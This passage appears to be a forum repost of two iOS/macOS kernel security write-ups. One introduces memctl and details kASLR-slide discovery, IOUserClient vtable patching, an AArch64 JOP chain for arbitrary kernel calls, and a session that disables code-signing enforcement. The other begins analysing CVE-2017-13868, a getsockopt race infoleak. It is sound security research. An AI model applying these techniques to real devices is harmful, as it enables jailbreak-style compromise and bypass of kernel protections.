which it is running. Its CLI takes inspiration from radare2. Some of the most useful memctl commands are: r: Read kernel virtual or physical memory w: Write kernel virtual or physical memory f: Find a value in memory (all memory locations containing the given value are printed) fc: Find instances of a C++ class lc: Determine the C++ class from an object pointer kp: Translate a kernel virtual address to a physical address zs: Print the size of a block of memory allocated with zalloc vmm: Show the kernel virtual memory map (like vmmap) a: Print the address of a kernel symbol s: Look up the symbol containing the given kernel virtual address It’s also important to understand what memctl is not. Memctl is not an exploit and it leverages no vulnerabilities, zero-day or otherwise. Such vulnerabilities could be used in a core to allow memctl to run on a certain platform, but memctl itself does not exploit any vulnerabilities. Memctl is also not designed to be a replacement for other reversing tools such as IDA and radare. Memctl is useful for inspecting the kernel as it is running and for facilitating iOS research. Some limited static analysis is performed on-device in order to find kernel symbols, but this analysis is not nearly as sophisticated as that performed by dedicated reversing frameworks. Finally, memctl is not designed to work on all OS versions and platforms. Libmemctl relies on the ability to locate certain kernel symbols, which is not possible on the encrypted kernelcaches prior to iOS 10.3 Additionally, libmemctl currently offers no support for 32-bit versions of macOS and iOS, and no such support is planned. This makes memctl unsuitable for analyzing 32-bit devices like the iPhone 5 or the Apple Watch. I have tested memctl on macOS 10.12.1, macOS 10.12.6, iOS 10.1.1, and iOS 10.2. Because libmemctl relies on many XNU internals, it likely needs significant tweaking to work on other versions and platforms. Moreover, since memctl is primarily a tool for my own research, it is geared for my own use cases and may not be stable. The rest of this post talks about the implementation details of libmemctl and concludes with some examples showing how to use memctl. Basic kernel memory access The most primitive operations supported by libmemctl are unsafe kernel memory reads and writes, provided by the functions kernel_read_unsafe and kernel_write_unsafe, respectively. These functions use the mach_vm_read_overwrite and mach_vm_write Mach traps to read and write memory in the kernel task. Two other useful functions are kernel_read_heap and kernel_write_heap, which are analogous functions that attempt to access kernel memory but fail safely if it is possible that the accessed memory address does not refer to the kernel heap. Unlike the unsafe functions, these functions are (or should be) safe: trying to read a nonexistent kernel address will simply return an error rather than crashing the kernel. The kernel heap can be identified using the mach_vm_region_recurse Mach trap to get the region’s user_tag attribute. Memory addresses allocated with zalloc (used by kalloc for small allocations) will have the user_tag set to VM_KERN_MEMORY_ZONE (12).4 While it might not seem like much, the ability to read kernel memory safely is crucial for implementing the rest of the functionality, because it allows us to scan memory without risk of crashing the system. Finding the kernel slide Using the kernel task and the basic memory read functions, we can find the kASLR slide in a number of different ways, depending on the platform. On macOS, the most straightforward way is to use the symbol _last_kernel_symbol. The macOS kernel is shipped unstripped, meaning we can get the static addresses of all sorts of useful symbols just by parsing the symbol table. In this case, _last_kernel_symbol designates the very last page in the kernel image. For example, on macOS 10.12.4, the kernel might lie somewhere in the following memory region:5 START - END [ VSIZE ] PRT/MAX SHRMOD DEPTH RESIDENT REFCNT TAG ffffff8000000000-ffffff8030152000 [ 769M ] ---/--- NUL 0 0 0 0 By parsing the kernel it is possible to determine that _last_kernel_symbol lives at static (unslid) address 0xffffff8000b51008, which means that the first page after the kernel is 0xffffff8000b52000 (the page size on this platform is 4K). Subtracting this static address from the runtime address 0xffffff8030152000 gives the kernel slide of 0x000000002f600000. This trick does not work on iOS because on iOS the kernel lives at an unknown location (read: not at the end) in a much larger memory region. The simplest approach is to scan every page in the region until we find the one containing the kernel’s Mach-O header. Unfortunately, this does not work in practice because not all pages in this region are mapped, meaning the scan will trigger a panic if it accesses an unmapped page. A safer approach relies on a few implementation details in XNU. There’s at least one memory region in the kernel memory map with depth 0 and user_tag VM_KERN_MEMORY_ZONE. The first word of this region is a pointer to somewhere in the middle of the kernel’s _zone_array symbol. Thus, a pointer into the kernel can be found by locating a memory region with depth 0 and user_tag VM_KERN_MEMORY_ZONE and dereferencing the first pointer in that region. From there, finding the start of the kernel is as simple as scanning memory backwards, since all addresses between the _zone_array symbol and the start of the kernel’s Mach-O header will be mapped. For example, on an iPhone 5s running iOS 10.2, the kernel memory map includes the following regions: START - END [ VSIZE ] PRT/MAX SHRMOD DEPTH RESIDENT REFCNT TAG ffffffe000000000-fffffff000000000 [ 64G ] ---/--- NUL 0 0 0 0 ... fffffff01a825000-fffffff01a827000 [ 8K ] rw-/rwx S/A 0 2 829 12 ... fffffff01b1e2000-fffffff01b1f6000 [ 80K ] rw-/rwx S/A 0 20 829 12 ... fffffff01c800000-fffffff11e000000 [ 4.0G ] ---/--- NUL 0 0 0 0 ... fffffff27fef8000-fffffff27ffff000 [ 1.0M ] ---/--- NUL 0 0 0 0 Reading 8 bytes at 0xfffffff01a825000 yields the pointer 0xfffffff01dd6a720. Checking the memory map confirms that this address lies within a large, 4GB carve-out of virtual memory with no access permissions, a strong indication that the address actually does point to the kernel.6 Scanning backwards from that address, we eventually encounter the value 0x0100000cfeedfacf at address 0xfffffff01d804000, which looks like the start of a 64-bit Mach-O file. Reading the rest of the Mach-O header quickly confirms that this is the start of the kernel’s __TEXT segment. The kernel slide is then computed as 0xfffffff01d804000 - 0xfffffff007004000 = 0x0000000016800000, where 0xfffffff007004000 is the static address of the kernel’s __TEXT segment in the Mach-O file. Generic kernel function calls on iOS and macOS Once we have the basic kernel memory functions and the kernel slide, we can patch parts of the kernel heap in order to create a limited kernel function call capability, which libmemctl provides as the function kernel_call_7. Stefan Esser describes this technique in Tales from iOS 6 Exploitation and iOS 7 Security Changes. The idea is to patch the vtable of an IOUserClient instance in the kernel so that invoking the iokit_user_client_trap Mach trap on the user client causes a controlled function pointer to be called. The iokit_user_client_trap Mach trap is used to invoke external traps, described by the IOExternalTrap struct, on an IOUserClient instance. We can invoke this trap from user space using the IOConnectTrap6 function. The kernel implementation calls the user client’s getTargetAndTrapForIndex method to obtain an IOExternalTrap object and then calls the trap function with the user-supplied arguments. Here’s the code, from IOUserClient.cpp: kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args) { kern_return_t result = kIOReturnBadArgument; IOUserClient *userClient; if ((userClient = OSDynamicCast(IOUserClient, iokit_lookup_connect_ref_current_task((OSObject *)(args->userClientRef))))) { IOExternalTrap *trap; IOService *target = NULL; trap = userClient->getTargetAndTrapForIndex(&target, args->index); if (trap && target) { IOTrap func; func = trap->func; if (func) { result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); } } iokit_remove_connect_reference(userClient); } return result; } If we can control the target and trap returned by getTargetAndTrapForIndex, then we can call any function in the kernel with up to 7 arguments.7 First we need to create an IOUserClient instance at a known address in the kernel so that we can manipulate it. I chose AppleKeyStoreUserClient as the user client class because most applications can access it on both macOS and iOS, reducing the implementation overhead. At this point, our only useful primitive is a kernel heap memory scan, so we will create the user client and then try to find it in memory by inspecting the heap. We’ll need two pieces of information to fully identify the user client: the address of the AppleKeyStoreUserClient vtable and the user client’s registry entry ID. The former we can compute since we already know the kernel slide. We can find the user client’s registry entry ID by recording the IDs of all children of the AppleKeyStore service before and after creating the user client, and then looking for a new child entry.8 We then scan the kernel heap looking for pointers to the AppleKeyStoreUserClient vtable. Each of these locations could be the start of an AppleKeyStoreUserClient instance, but some of these addresses may point to freed objects or random heap garbage. However, we do know that our user client must be in this list. We can figure out which address corresponds to our user client by reading the registry entry ID field of each possible instance using our kernel memory functions: if any potential user client instance has the wrong registry entry ID, we can eliminate it. As long as there is exactly one match (which happens the overwhelming majority of the time), we can be sure that we’ve found the address of the user client to which we have a connection. The next step is to create a fake vtable that will allow us to control the target and trap returned by getTargetAndTrapForIndex. The default implementation of this method calls getExternalTrapForIndex to get the IOExternalTrap, then extracts the target service from the returned object: IOExternalTrap * IOUserClient:: getTargetAndTrapForIndex(IOService ** targetP, UInt32 index) { IOExternalTrap *trap = getExternalTrapForIndex(index); if (trap) { *targetP = trap->object; } return trap; } Thus, in order to control both parameters, the only thing we need to do is override getExternalTrapForIndex with a function that will return a pointer to controlled data. There are many possible candidates, but since we already know the address of the user client’s registry entry ID field, I chose to replace getExternalTrapForIndex with getRegistryEntryID. That way, when getExternalTrapForIndex is called, the user client’s registry entry ID will be returned instead. Of course, the user client’s registry entry ID is not going to be a valid kernel pointer. However, we know the address of our user client’s registry entry ID field, so we can overwrite it with a pointer to a controlled IOExternalTrap object. To create the fake vtable, we simply read the real AppleKeyStoreUserClient vtable from kernel memory and replace the IOUserClient::getExternalTrapForIndex method with IORegistryEntry::getRegistryEntryID. We can then allocate kernel memory with mach_vm_allocate and write the modified vtable into it. Finally, we need to patch the user client so that invoking iokit_user_client_trap will call the function we want. We allocate more kernel memory to store the fake IOExternalTrap object and overwrite the user client’s registry entry ID field with this address. Last of all, we overwrite the user client’s vtable pointer with the address of the fake vtable we copied into the kernel earlier. At this point, when iokit_user_client_trap calls getTargetAndTrapForIndex, the trap that is returned will be the address of our fake IOExternalTrap object. However, the fields of this object need to be initialized for each function call. In order to actually call a kernel function, we must overwrite the IOExternalTrap object so that the func field points to the function we want to call and the object field is the first argument to that function. Then, we can invoke IOConnectTrap6 with the remaining arguments to perform the actual function call. Unfortunately, using iokit_user_client_trap places some restrictions on the arguments and return value of the kernel function call. Because the trap->object pointer is verified as non-NULL before the trap is invoked, the first argument to the called function cannot be 0. Additionally, the return value of iokit_user_client_trap is a kern_return_t, which on 64-bit platforms is a 32-bit integer. Getting around these restrictions is the subject of the next two sections. Arbitrary kernel function calls on AArch64 It’s possible to construct a less restricted kernel function call capability on top of the generic mechanism just described. Libmemctl implements several jump-oriented programs to call arbitrary kernel functions with up to 8 arguments and retrieve the 64-bit return value in user space.9 The specific implementation is chosen based on the gadgets available in the running kernel. Here I’ll briefly describe one such program, which can be used when running iOS 10.1.1 on the iPhone 6s and iPhone 7. A complete listing of the gadgets executed in this payload, including the intermediate register values, is available in the source code. At a high level, we will construct a JOP payload in kernel memory and then use the generic kernel function call method we just established to start executing that payload. The generic function call mechanism supports up to 7 arguments: not enough for all 8 arguments to the target function, but plenty to initialize registers for a JOP payload. The payload will set up the function arguments in registers x0 through x7, jump to the target function, write the return value (stored in x0) into memory, and then return to the caller. The JOP payload has three parts: the JOP stack (called JOP_STACK), the value stack (called VALUE_STACK), and a block of memory to resume JOP execution after running the store gadget (called STORE_RESUME). The JOP_STACK stores the sequence of gadgets to execute, while the VALUE_STACK stores the values that will get loaded into registers. The most important JOP gadget is the dispatcher, called JOP_DISPATCH. For this payload, I am using this wonderful gadget from the com.apple.filesystems.apfs kext: ldp x2, x1, [x1] br x2 This gadget loads the x2 and x1 registers with the two 64-bit words at the address in x1 and then jumps to the address in x2. Because the load overwrites the dereferenced register x1, calling this gadget a second time will perform a different load and jump than before, which makes this gadget suitable as a JOP dispatcher. In fact, if you imagine this gadget being run repeatedly in a loop, you can see that it behaves kind of like a linked-list traversal. Thus, we can implement the JOP_STACK as a linked list, where the first pointer in each node is the gadget to execute and the second pointer is the address of the next node. We can chain the execution of these gadgets as long as each gadget jumps back to JOP_DISPATCH. This is what the JOP_STACK looks like in memory if we place all the nodes sequentially: JOP_STACK 8 10 18 20 28 30 38 +----------+----------+----------+----------+----------+----------+----------+- | gadget 0 | +0x10 | gadget 1 | +0x20 | gadget 2 | +0x30 | gadget 3 | ... +----------+----------+----------+----------+----------+----------+----------+- Once the JOP_STACK is running, we can load values from the VALUE_STACK into registers using the load gadget. The load gadget populates x3 through x6 from x20, which is the register used to store the address of the VALUE_STACK: ldp x3, x4, [x20, #0x20] ldp x5, x6, [x20, #0x30] blr x8 In order to keep running from the JOP_STACK after this gadget, we must set x8 equal to the address of JOP_DISPATCH. However, after the load gadget is run, we won’t be able to load new values until the VALUE_STACK is advanced past the values we just loaded. We can use the following gadget to advance the VALUE_STACK in preparation for another load: add x20, x20, #0x34 br x8 With the right collection of gadgets to shuffle values around the registers, we can perform a sequence of loads and moves to populate all the registers we need for the function call. I ended up using 4 loads with 3 intervening advances in order to populate registers with all the values I needed. Here is the layout of the VALUE_STACK in memory. Each chunk represents a single load, but because the advance gadget only moves the value stack forward by 0x34 bytes each time, the end of each chunk in the diagram overlaps with the beginning of the next one. The load gadget populates x3, x4, x5, and x6 with the contents of each chunk at offset 0x20, 0x28, 0x30, and 0x38, respectively. The result of the function call eventually gets written back to the VALUE_STACK at offset 0x9c. VALUE_STACK 10 20 30 34 40 +---------+---------+---------+---------+---------+---------+----+----+---------+ | ~ STORE_RESUME ~~ | | | gadget | gadget | _______ | STORE_R | >---+ +---------+---------+---------+---------+---------+---------+----+----+---------+ | | +-----------------------------------------------------------------------------------+ | V 34 40 44 54 64 68 74 +----+---------+----+---------+---------+---------+---------+----+----+---------+ ____ | STORE_R | : : : <func> : _______ : <arg7> : _______ : >---+ +----+---------+----+---------+---------+---------+---------+----+----+---------+ | | +-----------------------------------------------------------------------------------+ | V 68 74 78 88 98 9c a8 +----+---------+----+---------+---------+---------+---------+----+----+---------+ g7> : _______ : | | | <arg1> | <arg2> | <arg0> | _______ | >---+ +----+---------+----+---------+---------+---------+---------+----+----+---------+ | | +-----------------------------------------------------------------------------------+ | V 9c a8 ac bc cc d0 dc +----+---------+----+---------+---------+---------+---------+----+----+---------+ g0> | _______ | : JOP_DIS : JOP_STA : <arg3> : <arg4> : <arg5> : <arg6> : +----+---------+----+---------+---------+---------+---------+----+----+---------+ ^^^^^^^^^^^ | result | +---------+ Once all the registers have been populated from the VALUE_STACK, we can perform the function call. The last registers we overwrite will be x1 and x2, since those are used by the JOP_DISPATCH gadget; once they are overwritten we can no longer use the dispatcher. However, this presents a challenge: How do we start executing the JOP payload again after the function call? Fortunately, AArch64 provides a native way to control what code to run after a function call: the return address, stored in register x30. Thus, we need to fill x30 with the address of a gadget that will resume execution from the JOP stack. A quick scan of the available gadgets reveals this candidate: ldp x8, x1, [x20, #0x10] blr x8 We can use this gadget to resume execution by storing the JOP_DISPATCH and JOP_STACK in the VALUE_STACK, at offsets 0x10 and 0x18 of chunk 4. That way, the load will put JOP_DISPATCH in x8, the rest of the JOP_STACK in x1, and jump to JOP_DISPATCH, exactly as we needed. This gadget is also a good choice because it does not clobber x0, the register that contains the return value from the function call. Once we are running code from the JOP_STACK, the next step is to store the return value back into the VALUE_STACK so that we can read it from user space later. In order to store the return value, we need a store gadget. Unfortunately, none of the usable store gadgets I found in the iOS 10.1.1 and 10.2 kernelcaches could be executed directly: they were all stores followed by a C++ virtual method call, and hence needed a fake vtable in order to resume executing from the JOP_STACK. This is where STORE_RESUME comes in. Here’s the gadget I ended up using to store x0 into the VALUE_STACK: str x0, [x20] ldr x8, [x22] ldr x8, [x8, #0x28] mov x0, x22 blr x8 The gadget assumes that x22 is a pointer to some C++ object and performs a virtual method call (index 5) on that object. STORE_RESUME is a fake C++ object, a pointer to which we will store in x22, such that the virtual method call in this gadget will actually end up jumping back to the JOP_DISPATCH gadget and running the rest of the JOP_STACK. In order to continue executing the JOP_STACK, x8 must be JOP_DISPATCH at the final branch. We can use the following layout for STORE_RESUME: STORE_RESUME 8 10 +-----------------------+-----------------------+ | STORE_RESUME+0x8-0x28 | JOP_DISPATCH | +-----------------------+-----------------------+ Finally, after the store gadget writes the target function’s return value into the VALUE_STACK, we can have the JOP program return back to the caller. The caller will eventually return to user space, and from there we can read back the return value from kernel memory. While this strategy works very well on the systems I have tested, a significant limitation is that it may not work on other platforms and builds until an appropriate JOP program has been constructed using the available gadgets. These JOP programs are hard-coded: libmemctl does not have the power to dynamically create JOP payloads from unknown sets of gadgets. I originally tried implementing a limited dynamic payload generator, but it was complicated enough that I didn’t end up completing it. Arbitrary kernel function calls on x86_64 Calling arbitrary kernel functions on x86_64 platforms is a bit simpler than on AArch64. I use the same technique in libmemctl as I used in physmem: add a new system call by overwriting an entry in the system call table. We can overwrite read-only kernel memory by calling a kernel function to write to physical, rather than virtual, memory. Since the technique is described in detail in that post, I refer the interested reader there. Safe kernel memory access Once we can call arbitrary kernel functions, we can build safe mechanisms to read and write kernel memory outside the heap. This is because we can call kernel functions like pmap_find_phys and pmap_cache_attributes to translate a virtual address into a physical address and to determine physical cache attributes associated with an address. The safest access mechanism is kernel_read_safe, which ensures that an address is mapped and not a special I/O region before accessing it. We can check if the virtual address is mapped with pmap_find_phys, since this function will return 0 if a virtual address has no backing page. Determining whether or not an address is a special I/O region is trickier. One way is to check the region’s share mode: in my testing, all special physical memory regions have the share mode of the corresponding virtual region set to SM_EMPTY. Thus, as long as the share mode is not SM_EMPTY, the region is safe to access. However, there’s a big downside to kernel_read_safe: Many interesting and safe-to-access memory regions also have their share mode set to SM_EMPTY, including the kernel carveout (the large virtual memory region containing the kernel image). This means that kernel_read_safe and kernel_write_safe will fail to read or write to the kernel image. Libmemctl offers a way around this restriction with the kernel_read_all access mechanism. The idea is that most special I/O regions (for example, memory-mapped device registers) are located at predictable physical addresses; if we are careful not to access those addresses, we can avoid triggering a panic. Thus, kernel_read_all only forbids access to unmapped pages and static memory regions that are known to be inaccessible. The advantage is that a much larger portion of kernel memory can be accessed. However, because the blacklist of bad regions is static and hardcoded, it’s possible that kernel_read_all will trigger a panic on an untested platform. On some platforms, it’s also possible to safely read physical memory without first knowing the virtual address. The kernel function pmap_cache_attributes returns the physical cache attributes associated with an address. On iOS, all unsafe physical addresses have the VM_MEM_GUARDED bit set in these attributes (although some safe addresses also have that flag set). Libmemctl provides the function physical_read_safe which will only try to read physical addresses for which the VM_MEM_GUARDED bit is cleared. This is useful because it allows us to perform physical memory scans. Unfortunately, I have yet to smooth out a few issues with physical_read_safe: on some platforms (my Macbook Pro), there are unsafe physical addresses with the VM_MEM_GUARDED bit clear, meaning physical_read_safe is not actually safe. Thus, if you want to avoid a panic, don’t use physical_read_safe to scan memory. Implementing mach_portal with libmemctl In order to check libmemctl’s functionality, I reimplemented parts of Ian Beer’s mach_portal exploit using libmemctl APIs. The goal was to replace most of the kernel manipulations after acquiring the kernel task port. The repository is available at mach_portal_memctl. Examples of using memctl Finally, I’ll give a brief overview of how to use memctl. When you run memctl without arguments, it drops into a REPL. You can type commands which memctl will run. These commands are self-documented. To see a list, type ? at the prompt: memctl> ? i Print system information r <address> [length] Read and print formatted memory rb <address> <length> Print raw binary data from memory rs <address> [length] Read a string from memory w <address> <value> Write an integer to memory wd <address> <data> Write arbitrary data to memory ws <address> <string> Write a string to memory f <value> [range] Find an integer in memory fpr <pid> Find the proc struct for a process fc <class> [range] Find instances of a C++ class lc <address> Look up the class of a C++ object kp <address> Translate virtual to physical address kpm <range> Print virtual to physical address map zs <address> Get zalloc memory size pca <address> Show physical cache attributes vt <class> Find the vtable of a C++ class vtl <address> Look up the class name for a vtable vm <address> Show virtual memory information vmm [range] Show virtual memory information for range vma <size> Allocate virtual memory vmd <address> [size] Deallocate virtual memory vmp <protection> <address> [length] Set virtual memory protection ks [address] Kernel slide a <symbol> Find the address of a symbol ap [address] Address permutation s <address> Find the symbol for an address kcd <file> Decompress a kernelcache root Exec a root shell quit Exit the REPL Here, you can see a brief overview of every command supported by memctl. To get additional information about a specific command, type the name of the command (the part before the first space) followed by ?. For example, one of the most commonly used commands is r, which reads kernel memory: memctl> r? r[width] [-d] [-f] [-p] [-x access] <address> [length] Read data from kernel virtual or physical memory and print it with the specified formatting. Options: [width] The width to display each value [-d] Use dump format with ASCII [-f] Force read (unsafe) [-p] Read physical memory [-x access] The memory access width Arguments: <address> The address to read [length] The number of bytes to read Each command consists of a command name, followed by options, followed by arguments. Options are designated in square brackets and start with a dash. Options may take a single argument, such as the -x option above. Arguments to the command are designated in angle brackets. The last few arguments to a command may be optional, in which case they are surrounded by square brackets instead. If an optional argument is not supplied a suitable default value will be used. A command may also have an unnamed option, which is designated by placing it in square brackets directly following the command name. Unnamed options are provided when a particular option is used frequently enough that specifying the option name each time would be a nuisance. In the case of the r command, the unnamed width option indicates the integer width of the value or values to read. Memctl accepts two ways of specifying options to a command: verbose and compact. In the verbose form, each option is written out individually. For example, the following command reads 64 bytes from physical address 0x100, skipping safety checks, with an access width of 4 (that is, the read is performed 4 bytes at a time), and displays the result in dump format with a column width of 2: memctl> r2 -p -f -x 4 -d 100 64 0000000000000100: 0001 0203 0405 0607 0809 0a0b 0c0d 0e0f |................| 0000000000000110: 1011 1213 1415 1617 1819 1a1b 1c1d 1e1f |................| 0000000000000120: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f | !"#$%&'()*+,-./| 0000000000000130: 3031 3233 3435 3637 3839 3a3b 3c3d 3e3f |0123456789:;<=>?| However, since this command is so long to type, memctl also supports a compact format: any options that take no arguments or simple numeric arguments may be condensed and placed at the end of the command name. The following command is equivalent to the longer form above: memctl> r2pfx4d 100 64 Another useful command is the a (address) command, which takes a (mangled) symbol name and prints the runtime address of the symbol and a guess of the symbol’s size. By default, symbols are assumed to be in the kernel. If the symbol is in a kernel extension, you can place the bundle ID and a colon before the symbol name. To search the kernel and all kernel extensions for the symbol, put a colon before the symbol name but omit the bundle ID. memctl> a _copyout 0xffffff8015dfd700 (48) memctl> a com.apple.driver.AppleMobileFileIntegrity:_csEnforcementDisable 0xffffff7f9692396a (1) memctl> a :_csEnforcementDisable 0xffffff7f9692396a (1) The s command is the inverse of the a command: given an address, it prints information about the symbol corresponding to that address. memctl> s 0xffffff7f9692396b com.apple.driver.AppleMobileFileIntegrity __DATA: _lvEnforceThirdParty (1) Any time a command takes an address, you can also specify a symbol; the symbol will automatically be converted to its virtual address. memctl> vm :_csEnforcementDisable START - END [ VSIZE ] PRT/MAX SHRMOD DEPTH RESIDENT REFCNT TAG ffffff7f96922000-ffffff7f96925000 [ 12K ] rw-/rw- P/A 1 3 3 6 memctl> r1 :_csEnforcementDisable setting up kernel function call... ffffff7f9692396a: 00 memctl> w1 :_csEnforcementDisable 1 memctl> r1 :_csEnforcementDisable ffffff7f9692396a: 01 Other useful commands for inspecting IOKit objects are fc and lc, which find instances of a class and determine the class type of an object: memctl> fc AppleMobileFileIntegrity 0xffffff8035bf9000 memctl> vm 0xffffff8035bf9000 START - END [ VSIZE ] PRT/MAX SHRMOD DEPTH RESIDENT REFCNT TAG ffffff8034c86000-ffffff804538c000 [ 263M ] rw-/rwx S/A 1 67334 214 12 memctl> zs 0xffffff8035bf9000 160 memctl> r 0xffffff8035bf9000 160 ffffff8035bf9000: ffffff7f96922d70 0000000000020003 ffffff8035bf9010: ffffff803547cb00 ffffff8035bf6d00 ffffff8035bf9020: ffffff8035bf6a00 ffffff803547c320 ffffff8035bf9030: ffffff80352b00e0 0000000000000003 ffffff8035bf9040: 0000000000000000 000000000000001e ffffff8035bf9050: 0000000000000000 0000000000006cc7 ffffff8035bf9060: 0000000000000000 0000000000000000 ffffff8035bf9070: 0000000000000000 0000000000000000 ffffff8035bf9080: 0000000000000000 ffff4c85c7ffffff ffffff8035bf9090: bd394c00000000ff deadbeefdeadbeef memctl> lc ffffff803547cb00 error: address 0xffffff8035bf7e40 is not a vtable memctl> lc ffffff8035bf6d00 OSDictionary memctl> lc ffffff8035bf6a00 OSDictionary memctl> lc ffffff803547c320 error: address 0x0000000000000000 is not a vtable memctl> lc ffffff80352b00e0 IOResources Overall, I find memctl a useful aid to understand what’s happening in kernel memory. Conclusion In this post I have introduced memctl, a library and tool to safely access kernel memory and call kernel functions. Memctl is primarily a research tool to aid me in analyzing the macOS/iOS kernel. However, I have open sourced it in the hope that someone else finds either the tool or the techniques useful. Credits Many thanks to Ian Beer, Luca Todesco, Stefan Esser, and Jonathan Levin for their invaluable iOS security and internals research. Footnotes Memctl is facetiously named after sysctl, the system control utility; it is called “memctl” because it controls memory, not the system. ↩ Yalu102 patches the task_for_pid system call to enable it to return the task port for the kernel task. mach_portal stashes the kernel task port in host special port 4. The memctl-tfp0-core core checks for both patches, and is the recommended core for jailbroken iOS devices. ↩ Of course, it is possible to hardcode the addresses of these kernel symbols, but libmemctl tries to avoid hardcoding offsets as much as possible, and always avoids hardcoding addresses. Kernel dumps could also be used on earlier platforms, but these tend to be missing symbol and prelink information as well. Instead, libmemctl tries to rely on the kernel itself (as found on the filesystem) to discover offsets and addresses, making transitions between new OS versions easier. ↩ The user_tag attribute is only useful starting with OS X 10.11 El Capitan. ↩ Even though the memory region containing the kernel is marked as non-readable non-writable in the virtual memory map, the actual page-table permissions clearly allow reading and sometimes writing these pages. I am not sure why the memory region containing the kernel image has these strange permissions. ↩ On the iPhone 7, the virtual memory carveout that contains the kernel looks different: START - END [ VSIZE ] PRT/MAX SHRMOD DEPTH RESIDENT REFCNT TAG ffffffe000000000-ffffffe0000e0000 [ 896K ] rw-/rwx PRV 0 56 1 79 ... ffffffe02a2d0000-ffffffe02a2e8000 [ 96K ] rw-/rwx S/A 0 6 180 12 ... fffffff000000000-fffffff27fffc000 [ 10G ] ---/--- NUL 0 0 0 0 The kernel lies somewhere in the very last region, which starts at address 0xfffffff000000000. ↩ The reason why we control 7 arguments and not 6 is that func is treated as a C++ method being invoked on the target object, which means target will be passed as the implicit first parameter to func. ↩ Despite searching far and wide, I could not find an official API to retrieve the registry entry ID associated with an io_connect_t object returned by IOServiceOpen. This was the simplest and most flexible workaround I could find. ↩ It would have been possible to do the same using a return-oriented program instead, but JOP has the advantage of preserving the kernel stack, making clean-up easier. ↩ Sursa: https://bazad.github.io/2017/09/live-kernel-introspection-ios/
      • 1
      • Upvote
  25. CVE-2017-13868: A fun XNU infoleak by Brandon Azad March 2, 2018 Way back in October of 2017, I discovered CVE-2017-13868, a kernel information leak in XNU that was quite fun to analyze and exploit. While browsing the XNU source code, I noticed that the function ctl_ctloutput didn’t check the return value of a call to sooptcopyin. This immediately caught my attention because error checking in the kernel is very important: poor error checking is a frequent source of security bugs. In this case, failing to check the return value opened a race window that could allow a privileged process to read an arbitrary amount of uninitialized kernel heap data. Finding the vulnerability One of the most effective ways I have for finding vulnerabilities is simply reading through the source code of areas of the kernel that seem relevant to security. I’ve found more bugs by source code auditing and reverse engineering than by any other technique, including fuzzing and, my favorite, stumbling onto a security flaw by accident (it happens surprisingly often). I started looking for iOS bugs again around mid September of last year. Around that time I noticed that there seemed to be an uptick in the number of race conditions reported in Apple’s security notes for macOS and iOS. Because of that, I figured it would be good to keep parallelism in mind while auditing. I had decided to look at indirect calls to copyout to see if I could discover any obvious information leaks. Information leaks are a category of vulnerability where the kernel discloses information that it shouldn’t. For example, disclosing kernel pointers to userspace may allow a local attacker to defeat the kernel’s address space randomization (kASLR) exploit mitigation. Exploit techniques like ROP depend on knowing the location of the kernel’s executable code in memory, which means kernel pointer disclosures have become a key component of modern macOS and iOS kernel exploitation. The copyout function is responsible for copying data from the kernel’s address space into the address space of usermode processes. Most kernel infoleaks will pass the leaked data through copyout, which makes call sites to this function promising areas to look for bugs. However, it’s not just this one function: there are many wrappers around copyout that are also worth investigating. For example, one such wrapper is sooptcopyout, which is used to copy out socket options data for the getsockopt system call. It was while looking through calls to this function that the following code, from the ctl_ctloutput function in the file bsd/kern/kern_control.c, caught my eye: if (sopt->sopt_valsize && sopt->sopt_val) { MALLOC(data, void *, sopt->sopt_valsize, M_TEMP, // (a) data is allocated M_WAITOK); // without M_ZERO. if (data == NULL) return (ENOMEM); /* * 4108337 - copy user data in case the * kernel control needs it */ error = sooptcopyin(sopt, data, // (b) sooptcopyin() is sopt->sopt_valsize, sopt->sopt_valsize); // called to fill the } // buffer; the return len = sopt->sopt_valsize; // value is ignored. socket_unlock(so, 0); error = (*kctl->getopt)(kctl->kctlref, kcb->unit, // (c) The getsockopt() kcb->userdata, sopt->sopt_name, // implementation is data, &len); // called to process if (data != NULL && len > sopt->sopt_valsize) // the buffer. panic_plain("ctl_ctloutput: ctl %s returned " "len (%lu) > sopt_valsize (%lu)\n", kcb->kctl->name, len, sopt->sopt_valsize); socket_lock(so, 0); if (error == 0) { if (data != NULL) error = sooptcopyout(sopt, data, len); // (d) If (c) succeeded, else // then the data buffer sopt->sopt_valsize = len; // is copied out to } // userspace. The ctl_ctloutput function is responsible for handling the getsockopt system call on kernel control sockets (that is, sockets created with domain PF_SYSTEM and protocol SYSPROTO_CONTROL). The code does the following: It allocates a kernel heap buffer for the data parameter to getsockopt. Because the M_ZERO flag is not specified, the allocation is not zeroed out. It copies in the getsockopt data from userspace using sooptcopyin, filling the data buffer just allocated. This copyin should completely overwrite the allocated data, which is why the M_ZERO flag was not needed. The return value is not checked. It then calls kctl->getopt, the real getsockopt implementation for this kernel control socket. This implementation will process the input buffer, possibly modifying it and shortening it, and return a result code. Finally, if the real getsockopt implementation doesn’t return an error, ctl_ctloutput calls sooptcopyout to copy the data buffer back to user space. The issue is that the return value from sooptcopyin is not checked. This begs the question: what could happen if sooptcopyin fails that wouldn’t be possible if the return value were checked? Analyzing exploitability The function sooptcopyin is responsible for copying in the getsockopt options data from userspace into the allocated buffer. If sooptcopyin fails, perhaps because the socket options data address is invalid, then the kernel data buffer which should have contained the options data will be uninitialized. And because the data buffer was allocated without the M_ZERO flag, that means that it will contain uninitialized kernel heap data, possibly rife with useful kernel pointers. So, the lack of error checking means that the data buffer passed to kctl->getopt could actually contain uninitialized kernel heap data, even though the code as written seems to expect the contents of the data buffer to always be initialized before the call to kctl->getopt. Is there a way to get that uninitialized memory to flow to a call to copyout? The obvious candidate for copyout is the call to sooptcopyout just after kctl->getopt. But there’s a problem: sooptcopyout is passed the same sopt structure that was supplied to sooptcopyin, which means it will try to write the uninitialized data to the same address from which sooptcopyin tried to read the socket options earlier. And in order to force sooptcopyin to fail we supplied it with an invalid address. So how do we make sooptcopyout succeed where sooptcopyin failed? At this point I remembered to consider parallelism. Would it be possible to make the memory address valid in between the calls to sooptcopyin and sooptcopyout? To do that, we’d need to call getsockopt with an unmapped address, and while getsockopt is running in the kernel, call mach_vm_allocate on another thread to map that address. That way, the address would be unmapped when sooptcopyin is called, causing it to fail, but mapped when sooptcopyout is called, allowing the copyout of uninitialized kernel heap data to succeed. However, there’s one more thing we need to check: does the uninitialized heap data actually make it all the way to the call to sooptcopyout? There’s an intervening call to kctl->getopt which could overwrite the uninitialized data or change the length of the data 